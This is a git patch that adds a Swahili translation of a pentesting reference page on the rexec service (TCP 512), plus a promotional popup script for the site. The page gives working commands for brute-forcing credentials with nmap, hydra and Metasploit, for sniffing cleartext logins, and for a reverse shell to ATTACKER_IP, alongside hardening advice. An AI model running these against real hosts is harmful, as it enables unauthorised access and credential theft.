From 02304a4ee18af56ba70d2630800597f3e9cb97db Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 15 Jul 2025 22:08:48 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/512-pentesting-rexec.md'] t --- .../512-pentesting-rexec.md | 94 ++++++++++++++++++- theme/ai.js | 79 +++++++++++++++- 2 files changed, 167 insertions(+), 6 deletions(-) diff --git a/src/network-services-pentesting/512-pentesting-rexec.md b/src/network-services-pentesting/512-pentesting-rexec.md index 2bd813550..2a9a9ca5b 100644 --- a/src/network-services-pentesting/512-pentesting-rexec.md +++ b/src/network-services-pentesting/512-pentesting-rexec.md @@ -2,17 +2,103 @@ {{#include ../banners/hacktricks-training.md}} - ## Basic Information -Ni huduma ambayo **inakuwezesha kutekeleza amri ndani ya mwenyeji** ikiwa unajua **vithibitisho** halali (jina la mtumiaji na nenosiri). +Rexec (remote **exec**) ni moja ya huduma za asili za Berkeley *r*-services suite (pamoja na `rlogin`, `rsh`, …). Inatoa uwezo wa **kutekeleza amri kwa mbali** **iliyothibitishwa tu kwa jina la mtumiaji na nenosiri la wazi**. Protokali hii ilifafanuliwa mwanzoni mwa miaka ya 1980 (tazama RFC 1060) na sasa inachukuliwa kuwa **haiko salama kwa muundo**. Hata hivyo, bado inapatikana kwa chaguo-msingi katika baadhi ya vifaa vya zamani vya UNIX / vinavyounganishwa na mtandao na mara kwa mara huonekana wakati wa pentests za ndani. -**Default Port:** 512 +**Default Port:** TCP 512 (`exec`) ``` PORT STATE SERVICE 512/tcp open exec ``` -### [**Brute-force**](../generic-hacking/brute-force.md#rexec) +> 🔥 Mzunguko wote – ikiwa ni pamoja na akidi – unatumwa **bila usimbuaji**. Mtu yeyote mwenye uwezo wa kunusa mtandao anaweza kupata jina la mtumiaji, nenosiri na amri. +### Muonekano wa haraka wa itifaki +1. Mteja anajihusisha na TCP 512. +2. Mteja anatumia nyuzi tatu **zilizomalizika na NUL**: +* nambari ya bandari (kama ASCII) ambapo anataka kupokea stdout/stderr (mara nyingi `0`), +* **jina la mtumiaji**, +* **nenosiri**. +3. Nyota ya mwisho iliyomalizika na NUL yenye **amri** ya kutekeleza inatumwa. +4. Seva inajibu kwa byte moja ya hali ya 8-bit (0 = mafanikio, `1` = kushindwa) ikifuatiwa na matokeo ya amri. + +Hii inamaanisha unaweza kurudia kubadilishana na kitu kingine zaidi ya `echo -e` na `nc`: +```bash +(echo -ne "0\0user\0password\0id\0"; cat) | nc 512 +``` +Ikiwa akreditif ni halali utapokea matokeo ya `id` moja kwa moja kwenye muunganisho huo huo. + +### Matumizi ya mikono na mteja + +Usambazaji mwingi wa Linux bado unapeleka mteja wa urithi ndani ya kifurushi cha **inetutils-rexec** / **rsh-client**: +```bash +rexec -l user -p password "uname -a" +``` +Ikiwa `-p` haijajumuishwa, mteja atakuuliza kwa njia ya mwingiliano kwa neno la siri (linaloonekana kwenye waya kwa maandiko wazi!). + +--- +## Uhesabuji & Kujaribu kwa nguvu + +### [**Kujaribu kwa nguvu**](../generic-hacking/brute-force.md#rexec) + +### Nmap +```bash +nmap -p 512 --script rexec-info +# Discover service banner and test for stdout port mis-configuration + +nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" +``` +`rexec-brute` NSE inatumia protokali iliyoelezwa hapo juu kujaribu akidi kwa haraka sana. + +### Hydra / Medusa / Ncrack +```bash +hydra -L users.txt -P passwords.txt rexec:// -s 512 -t 8 +``` +`hydra` ina moduli maalum ya **rexec** na inabaki kuwa bruteforcer wa haraka zaidi wa offline. `medusa` (`-M REXEC`) na `ncrack` (`rexec` moduli) zinaweza kutumika kwa njia ile ile. + +### Metasploit +``` +use auxiliary/scanner/rservices/rexec_login +set RHOSTS +set USER_FILE users.txt +set PASS_FILE passwords.txt +run +``` +Moduli utaanzisha shell kwa mafanikio na kuhifadhi akiba katika hifadhidata. + +--- +## Kunasa akiba + +Kwa sababu kila kitu kiko katika maandiko wazi, **kunasa mtandao ni thamani isiyo na kifani**. Kwa nakala ya trafiki unaweza kutoa akiba bila kugusa lengo: +```bash +tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \ +awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command +``` +(In Wireshark wezesha *Decode As …​* TCP 512 → REXEC ili uone maeneo yaliyopangwa vizuri.) + +--- +## Vidokezo vya Baada ya Utekelezaji + +* Amri zinaendeshwa kwa ruhusa za mtumiaji aliyepewa. Ikiwa `/etc/pam.d/rexec` imewekwa vibaya (mfano `pam_rootok`), shell za root wakati mwingine zinaweza kupatikana. +* Rexec inapuuzilia mbali shell ya mtumiaji na inatekeleza amri kupitia `/bin/sh -c `. Unaweza hivyo kutumia hila za kawaida za shell-escape (`;`, ``$( )``, backticks) kuunganisha amri nyingi au kuzalisha shell za kurudi: +```bash +rexec -l user -p pass 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' +``` +* Nywila mara nyingi huhifadhiwa katika **~/.netrc** kwenye mifumo mingine; ikiwa utavunja moja ya mwenyeji unaweza kuzitumia tena kwa harakati za upande. + +--- +## Kuimarisha / Ugunduzi + +* **Usifichue rexec**; badilisha na SSH. Karibu seva zote za kisasa za *inetd* zinaondoa huduma hiyo kwa chaguo-msingi. +* Ikiwa lazima uihifadhi, punguza ufikiaji kwa kutumia TCP wrappers (`/etc/hosts.allow`) au sheria za firewall na enforce nywila zenye nguvu kwa kila akaunti. +* Fuata trafiki kwenda :512 na uzinduzi wa mchakato wa `rexecd`. Kukamata pakiti moja kunaweza kutosha kugundua uvunjaji. +* Zima `rexec`, `rlogin`, `rsh` pamoja – zinashiriki sehemu kubwa ya msingi wa msimbo na udhaifu. + +--- + +## Marejeleo + +* Nmap NSE `rexec-brute` hati – [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html) +* Rapid7 Metasploit moduli `auxiliary/scanner/rservices/rexec_login` – [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login) {{#include ../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 13337c3f1..68d091923 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,11 +1,86 @@ +/** + * HackTricks Training Discounts + */ + + +(() => { + const KEY = 'htSummerDiscountDismissed'; + const IMG = '/images/discount.jpeg'; + const TXT = 'HT Summer Discount, Last Days!'; + + /* Stop if user already dismissed */ + if (localStorage.getItem(KEY) === 'true') return; + + /* Quick helper */ + const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + + /* --- Overlay (blur + dim) --- */ + const overlay = $('div', ` + position: fixed; inset: 0; + background: rgba(0,0,0,.4); + backdrop-filter: blur(6px); + display: flex; justify-content: center; align-items: center; + z-index: 10000; + `); + + /* --- Modal --- */ + const modal = $('div', ` + max-width: 90vw; width: 480px; + background: #fff; border-radius: 12px; overflow: hidden; + box-shadow: 0 8px 24px rgba(0,0,0,.35); + font-family: system-ui, sans-serif; + display: flex; flex-direction: column; align-items: stretch; + `); + + /* --- Title bar (separate, over image) --- */ + const titleBar = $('div', ` + padding: 1rem; text-align: center; + background: #222; color: #fff; + font-size: 1.3rem; font-weight: 700; + `); + titleBar.textContent = TXT; + + /* --- Image --- */ + const img = $('img'); + img.src = IMG; img.alt = TXT; img.style.width = '100%'; + + /* --- Checkbox row --- */ + const label = $('label', ` + display: flex; align-items: center; justify-content: center; gap: .6rem; + padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; + `); + const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2'; + cb.onchange = () => { + if (cb.checked) { + localStorage.setItem(KEY, 'true'); + overlay.remove(); + } + }; + label.append(cb, document.createTextNode("Don't show again")); + + /* --- Assemble & inject --- */ + modal.append(titleBar, img, label); + overlay.appendChild(modal); + + (document.readyState === 'loading' + ? () => document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true }) + : () => document.body.appendChild(overlay))(); +})(); + + + + /** * HackTricks AI Chat Widget v1.16 – resizable sidebar * --------------------------------------------------- * ❶ Markdown rendering + sanitised (same as before) * ❷ NEW: drag‑to‑resize panel, width persists via localStorage */ + + + (function () { - const LOG = "[HackTricks‑AI]"; + const LOG = "[HackTricks-AI]"; /* ---------------- User‑tunable constants ---------------- */ const MAX_CONTEXT = 3000; // highlighted‑text char limit const MAX_QUESTION = 500; // question char limit @@ -13,7 +88,7 @@ const MAX_W = 600; const DEF_W = 350; // default width (if nothing saved) const TOOLTIP_TEXT = - "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; + "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; const API_BASE = "https://www.hacktricks.ai/api/assistants/threads"; const BRAND_RED = "#b31328";